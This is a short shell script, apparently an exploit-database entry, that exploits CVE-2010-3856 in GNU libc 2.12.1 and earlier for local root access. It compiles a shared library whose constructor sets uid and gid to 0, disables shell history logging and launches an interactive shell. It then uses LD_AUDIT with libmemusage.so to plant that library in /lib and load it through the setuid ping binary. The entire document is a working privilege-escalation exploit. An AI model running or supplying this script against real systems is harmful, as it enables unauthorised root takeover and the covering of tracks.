GNU libc 2.12.1 LD_AUDIT libmemusage.so Local Root

`#!/bin/sh  
  
# Exploit Title: GNU libc <= 2.12.1 LD_AUDIT Root Exploit  
# Date: 05/11/2014  
# Exploit Author: ssbostan  
# Vendor Homepage: http://www.gnu.org/software/libc/  
# Software Link: http://ftp.gnu.org/gnu/glibc/  
# Version: <= 2.12.1  
# Tested on: Ubuntu 8.04  
# CVE: http://www.cvedetails.com/cve/CVE-2010-3856/  
  
umask 0  
cat > /tmp/libxpl.c << EOF  
__attribute__((constructor)) void init()  
{  
setuid(0);  
setgid(0);  
unlink("/lib/libxpl.so");  
setenv("HISTFILE", "/dev/null", 1);  
execl("/bin/sh", "/bin/sh", "-i", 0);  
}  
EOF  
gcc -w -fPIC -shared -o /tmp/libxpl.so /tmp/libxpl.c  
LD_AUDIT="libmemusage.so" MEMUSAGE_OUTPUT="/lib/libxpl.so" ping 2>/dev/null  
cat /tmp/libxpl.so > /lib/libxpl.so  
rm -rf /tmp/libxpl.c /tmp/libxpl.so  
LD_AUDIT="libxpl.so" ping  
`